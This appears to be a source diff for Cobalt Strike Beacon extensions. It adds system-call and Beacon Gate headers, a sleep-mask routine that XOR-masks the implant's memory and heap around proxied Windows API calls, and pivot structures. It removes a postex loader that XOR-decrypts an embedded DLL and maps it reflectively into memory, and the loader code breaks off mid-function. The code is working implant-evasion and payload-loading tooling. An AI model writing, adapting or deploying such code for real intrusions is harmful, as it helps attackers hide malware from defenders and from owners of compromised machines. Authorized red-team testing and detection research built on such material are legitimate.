SYSCALL_API_ENTRY ntUnmapViewOfSection;
|
||||
SYSCALL_API_ENTRY ntQueryVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntDuplicateObject;
|
||||
SYSCALL_API_ENTRY ntReadVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntWriteVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntReadFile;
|
||||
SYSCALL_API_ENTRY ntWriteFile;
|
||||
SYSCALL_API_ENTRY ntCreateFile;
|
||||
SYSCALL_API_ENTRY ntQueueApcThread;
|
||||
SYSCALL_API_ENTRY ntCreateProcess;
|
||||
SYSCALL_API_ENTRY ntOpenProcessToken;
|
||||
SYSCALL_API_ENTRY ntTestAlert;
|
||||
SYSCALL_API_ENTRY ntSuspendProcess;
|
||||
SYSCALL_API_ENTRY ntResumeProcess;
|
||||
SYSCALL_API_ENTRY ntQuerySystemInformation;
|
||||
SYSCALL_API_ENTRY ntQueryDirectoryFile;
|
||||
SYSCALL_API_ENTRY ntSetInformationProcess;
|
||||
SYSCALL_API_ENTRY ntSetInformationThread;
|
||||
SYSCALL_API_ENTRY ntQueryInformationProcess;
|
||||
SYSCALL_API_ENTRY ntQueryInformationThread;
|
||||
SYSCALL_API_ENTRY ntOpenSection;
|
||||
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
|
||||
SYSCALL_API_ENTRY ntDeviceIoControlFile;
|
||||
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
|
||||
} SYSCALL_API, *PSYSCALL_API;
|
||||
|
||||
/* Additional Run Time Library (RTL) addresses used to support system calls.
|
||||
* If they are not set then system calls that require them will fall back
|
||||
* to the Standard Windows API.
|
||||
*
|
||||
* Required to support the following system calls:
|
||||
* ntCreateFile
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
|
||||
PVOID rtlFreeHeapAddr;
|
||||
PVOID rtlGetProcessHeapAddr;
|
||||
} RTL_API, *PRTL_API;
|
||||
|
||||
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
|
||||
* This allows for retrieving a copy of the information which would be under the BOF's
|
||||
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API syscalls;
|
||||
RTL_API rtls;
|
||||
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
|
||||
|
||||
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
|
||||
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
|
||||
|
||||
/* Beacon System call functions which will use the current system call method */
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
|
||||
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
|
||||
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
|
||||
|
||||
/* Beacon Gate APIs */
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
|
||||
|
||||
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
|
||||
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
|
||||
|
||||
/* Beacon User Data
|
||||
*
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*/
|
||||
|
||||
#define DLL_BEACON_USER_DATA 0x0d
|
||||
#define BEACON_USER_DATA_CUSTOM_SIZE 32
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned int version;
|
||||
PSYSCALL_API syscalls;
|
||||
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
|
||||
PRTL_API rtls;
|
||||
PALLOCATED_MEMORY allocatedMemory;
|
||||
} USER_DATA, * PUSER_DATA;
|
||||
@@ -0,0 +1,68 @@
|
||||
/* Beacon gate defines. */
|
||||
#define MAX_BEACON_GATE_ARGUMENTS 10
|
||||
#define beaconGate(i) ((BEACON_GATE_##i)function_call->functionPtr)
|
||||
#define arg(i) (ULONG_PTR)function_call->args[i]
|
||||
|
||||
/* Enum to specify what WinAPI is being called. */
|
||||
typedef enum _WinApi {
|
||||
INTERNETOPENA,
|
||||
INTERNETCONNECTA,
|
||||
VIRTUALALLOC,
|
||||
VIRTUALALLOCEX,
|
||||
VIRTUALPROTECT,
|
||||
VIRTUALPROTECTEX,
|
||||
VIRTUALFREE,
|
||||
GETTHREADCONTEXT,
|
||||
SETTHREADCONTEXT,
|
||||
RESUMETHREAD,
|
||||
CREATETHREAD,
|
||||
CREATEREMOTETHREAD,
|
||||
OPENPROCESS,
|
||||
OPENTHREAD,
|
||||
CLOSEHANDLE,
|
||||
CREATEFILEMAPPING,
|
||||
MAPVIEWOFFILE,
|
||||
UNMAPVIEWOFFILE,
|
||||
VIRTUALQUERY,
|
||||
DUPLICATEHANDLE,
|
||||
READPROCESSMEMORY,
|
||||
WRITEPROCESSMEMORY,
|
||||
EXITTHREAD,
|
||||
VIRTUALFREEEX,
|
||||
VIRTUALQUERYEX,
|
||||
WAITFORSINGLEOBJECT,
|
||||
SLEEP
|
||||
} WinApi;
|
||||
|
||||
/**
|
||||
* FUNCTION_CALL struct which encapsulates atomic function call.
|
||||
*
|
||||
* functionPtr - target function to call
|
||||
* function - Enum representing target WinApi
|
||||
* numOfArgs - number of arguments
|
||||
* args - array of ULONG_PTRs containing the passed arguments (e.g. rcx, rdx, ...)
|
||||
* bMask - BOOL indicating whether Beacon should be masked during the call
|
||||
* ULONG_PTR - retValue of the atomic function call
|
||||
*/
|
||||
typedef struct {
|
||||
PVOID functionPtr;
|
||||
WinApi function;
|
||||
int numOfArgs;
|
||||
ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS];
|
||||
BOOL bMask;
|
||||
ULONG_PTR retValue;
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
/* Currently support max 10 arguments. */
|
||||
/* NB For x86 we only support std call convention as this is what Windows uses for most Win32 APIs. */
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_00)(VOID);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_01)(ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_02)(ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_03)(ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_04)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_05)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_06)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_07)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_08)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_09)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
typedef ULONG_PTR(__stdcall* BEACON_GATE_10)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR);
|
||||
+175
@@ -0,0 +1,175 @@
|
||||
#include <windows.h>
|
||||
#include "beacon.h"
|
||||
#include "sleepmask.h"
|
||||
#include "beacon_gate.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
|
||||
void gate_wrapper ( PFUNCTION_CALL function_call )
|
||||
{
|
||||
ULONG_PTR result = 0;
|
||||
|
||||
switch ( function_call->numOfArgs )
|
||||
{
|
||||
case 0:
|
||||
result = beaconGate ( 00 ) ( );
|
||||
break;
|
||||
|
||||
case 1:
|
||||
result = beaconGate ( 01 ) ( arg ( 0 ) );
|
||||
break;
|
||||
|
||||
case 2:
|
||||
result = beaconGate ( 02 ) ( arg ( 0 ), arg ( 1 ) );
|
||||
break;
|
||||
|
||||
case 3:
|
||||
result = beaconGate ( 03 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ) );
|
||||
break;
|
||||
|
||||
case 4:
|
||||
result = beaconGate ( 04 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ) );
|
||||
break;
|
||||
|
||||
case 5:
|
||||
result = beaconGate ( 05 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ) );
|
||||
break;
|
||||
|
||||
case 6:
|
||||
result = beaconGate ( 06 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ) );
|
||||
break;
|
||||
|
||||
case 7:
|
||||
result = beaconGate ( 07 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ) );
|
||||
break;
|
||||
|
||||
case 8:
|
||||
result = beaconGate ( 08 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ) );
|
||||
break;
|
||||
|
||||
case 9:
|
||||
result = beaconGate ( 09 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ) );
|
||||
break;
|
||||
|
||||
case 10:
|
||||
result = beaconGate ( 10 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ), arg ( 9 ) );
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
function_call->retValue = result;
|
||||
}
|
||||
|
||||
void xor ( char * buffer, size_t buffer_len, char * key, size_t key_len )
|
||||
{
|
||||
for ( size_t i = 0; i < buffer_len; i++ )
|
||||
{
|
||||
buffer [ i ] ^= key [ i % key_len ];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL can_write ( DWORD protection )
|
||||
{
|
||||
switch ( protection )
|
||||
{
|
||||
case PAGE_EXECUTE_READWRITE:
|
||||
case PAGE_EXECUTE_WRITECOPY:
|
||||
case PAGE_READWRITE:
|
||||
case PAGE_WRITECOPY:
|
||||
return TRUE;
|
||||
|
||||
default:
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
void mask_section ( PALLOCATED_MEMORY_SECTION section, char * key, BOOL mask )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( mask && ! can_write ( section->CurrentProtect ) )
|
||||
{
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
|
||||
if ( can_write ( section->CurrentProtect ) ) {
|
||||
xor ( section->BaseAddress, section->VirtualSize, key, MASK_SIZE );
|
||||
}
|
||||
|
||||
if ( ! mask && section->CurrentProtect != section->PreviousProtect )
|
||||
{
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, section->PreviousProtect, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void mask_region ( ALLOCATED_MEMORY_REGION * region, char * key, BOOL mask )
|
||||
{
|
||||
int section_count = sizeof ( region->Sections ) / sizeof ( ALLOCATED_MEMORY_SECTION );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
if ( region->Sections[i].BaseAddress == NULL || region->Sections[i].VirtualSize == 0 ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if ( region->Sections[i].MaskSection ) {
|
||||
mask_section ( ®ion->Sections[i], key, mask );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void mask_beacon ( PBEACON_INFO beacon_info, BOOL mask )
|
||||
{
|
||||
int region_count = sizeof ( beacon_info->allocatedMemory.AllocatedMemoryRegions ) / sizeof ( ALLOCATED_MEMORY_REGION );
|
||||
|
||||
for ( size_t i = 0; i < region_count; i++ )
|
||||
{
|
||||
if ( beacon_info->allocatedMemory.AllocatedMemoryRegions[i].Purpose == PURPOSE_BEACON_MEMORY )
|
||||
{
|
||||
mask_region ( &beacon_info->allocatedMemory.AllocatedMemoryRegions[i], beacon_info->mask, mask );
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void mask_heap ( PBEACON_INFO beacon_info )
|
||||
{
|
||||
int count = 0;
|
||||
|
||||
do
|
||||
{
|
||||
xor ( beacon_info->heap_records[count].ptr, beacon_info->heap_records[count].size, beacon_info->mask, MASK_SIZE );
|
||||
count++;
|
||||
|
||||
} while ( beacon_info->heap_records[count].ptr != NULL );
|
||||
}
|
||||
|
||||
void mask_memory ( PBEACON_INFO beacon_info, BOOL mask )
|
||||
{
|
||||
mask_beacon ( beacon_info, mask );
|
||||
mask_heap ( beacon_info );
|
||||
}
|
||||
|
||||
void go ( PBEACON_INFO beacon_info, PFUNCTION_CALL function_call )
|
||||
{
|
||||
if ( function_call->bMask ) {
|
||||
mask_memory ( beacon_info, TRUE );
|
||||
}
|
||||
|
||||
gate_wrapper ( function_call );
|
||||
|
||||
if ( function_call->bMask ) {
|
||||
mask_memory ( beacon_info, FALSE );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
/* Define the supported action types for the pivot beacons */
|
||||
typedef enum _PIVOT_ACTION {
|
||||
ACTION_UNKNOWN,
|
||||
ACTION_TCP_RECV,
|
||||
ACTION_TCP_ACCEPT,
|
||||
ACTION_PIPE_WAIT,
|
||||
ACTION_PIPE_PEEK
|
||||
} PIVOT_ACTION;
|
||||
|
||||
/*
|
||||
* action - defines which ACTION_ type to use in the pivot_sleep
|
||||
* in - defines the in socket for the ACTION_TCP_ types
|
||||
* out - defines the out socket for the ACTION_TCP_ types
|
||||
* pipe - defines the pipe for the ACTION_PIPE_ types
|
||||
*/
|
||||
typedef struct _PIVOT_ARGS {
|
||||
PIVOT_ACTION action;
|
||||
SOCKET in;
|
||||
SOCKET out;
|
||||
HANDLE pipe;
|
||||
} PIVOT_ARGS, * PPIVOT_ARGS;
|
||||
|
||||
typedef enum _REASON_FOR_CALL {
|
||||
DEFAULT_SLEEP,
|
||||
PIVOT_SLEEP,
|
||||
BEACON_GATE
|
||||
} REASON_FOR_CALL;
|
||||
|
||||
/*
|
||||
* version - version of the structure. format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* sleepmask_type - sleep mask type:
|
||||
* sleep_time - the time to sleep in milliseconds
|
||||
* beacon_info - the BEACON_INFO structure
|
||||
* pivot_args - the PIVOT_ARGS structure
|
||||
*/
|
||||
typedef struct _SLEEPMASK_INFO {
|
||||
unsigned int version;
|
||||
REASON_FOR_CALL reason;
|
||||
DWORD sleep_time;
|
||||
BEACON_INFO beacon_info;
|
||||
PIVOT_ARGS pivot_args;
|
||||
} SLEEPMASK_INFO, * PSLEEPMASK_INFO;
|
||||
@@ -15,7 +15,7 @@
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
@@ -26,11 +26,19 @@
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
@@ -40,6 +48,12 @@ typedef struct {
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
@@ -50,6 +64,7 @@ void dprintf(char * format, ...);
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
@@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction);
|
||||
char * findModuleByHash(DWORD moduleHash);
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
@@ -1,12 +0,0 @@
|
||||
CC_64 = x86_64-w64-mingw32-gcc
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -1,13 +0,0 @@
|
||||
# Postex Loader
|
||||
|
||||
This loader is used with Beacon's fork & run commands that utilise a postex DLL.
|
||||
|
||||
It assumes that `post-ex.smart-inject` is enabled to receive pointers to
|
||||
GetModuleHandleA and GetProcAddress from the parent Beacon. The loader
|
||||
uses these to resolve APIs required to load the DLL, rather than walking
|
||||
the export address table.
|
||||
|
||||
The loader also passes RDATA_SECTION information to the postex DLL, as
|
||||
some long-running jobs can obfuscate their .rdata section while waiting.
|
||||
|
||||
The postex DLL is masked with a random XOR key and unmasked at runtime.
|
||||
Binary file not shown.
@@ -1,24 +0,0 @@
|
||||
name "Beacon Postex Loader"
|
||||
describe "PIC loader for Cobalt Strike's postex DLLs"
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
dfr "resolve" "strings"
|
||||
patch "pGetModuleHandle" $GMH
|
||||
patch "pGetProcAddress" $GPA
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
generate $KEY 128
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key"
|
||||
|
||||
export
|
||||
@@ -1,152 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count);
|
||||
|
||||
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
|
||||
__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text")));
|
||||
|
||||
char * resolve(char * module, char * function) {
|
||||
HANDLE hModule = pGetModuleHandle(module);
|
||||
if (hModule == NULL) {
|
||||
hModule = LoadLibraryA(module);
|
||||
}
|
||||
return (char *)pGetProcAddress(hModule, function);
|
||||
}
|
||||
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
|
||||
char _DLL_[0] __attribute__((section("dll")));
|
||||
char _KEY_[0] __attribute__((section("key")));
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
char * start;
|
||||
DWORD length;
|
||||
DWORD offset;
|
||||
} RDATA_SECTION;
|
||||
|
||||
void FixSectionPermissions(DLLDATA * dll, char * dst, RDATA_SECTION * rdata)
|
||||
{
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtection = 0;
|
||||
DWORD oldProtection = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int i = 0; i < numberOfSections; i++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtection = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtection = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtection = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtection = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtection = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtection = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtection = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection);
|
||||
|
||||
if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
rdata->start = sectionDst;
|
||||
rdata->length = sectionSize;
|
||||
rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
|
||||
}
|
||||
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go(void * loaderArguments)
|
||||
{
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* get the masked dll and key */
|
||||
RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
|
||||
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);
|
||||
|
||||
/* unmask and load into memory */
|
||||
char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
for (int i = 0; i < dll->length; i++) {
|
||||
src[i] = dll->value[i] ^ key->value[i % key->length];
|
||||
}
|
||||
|
||||
/* parse dll headers */
|
||||
DLLDATA data;
|
||||
ParseDLL(src, &data);
|
||||
|
||||
/* load it into new memory */
|
||||
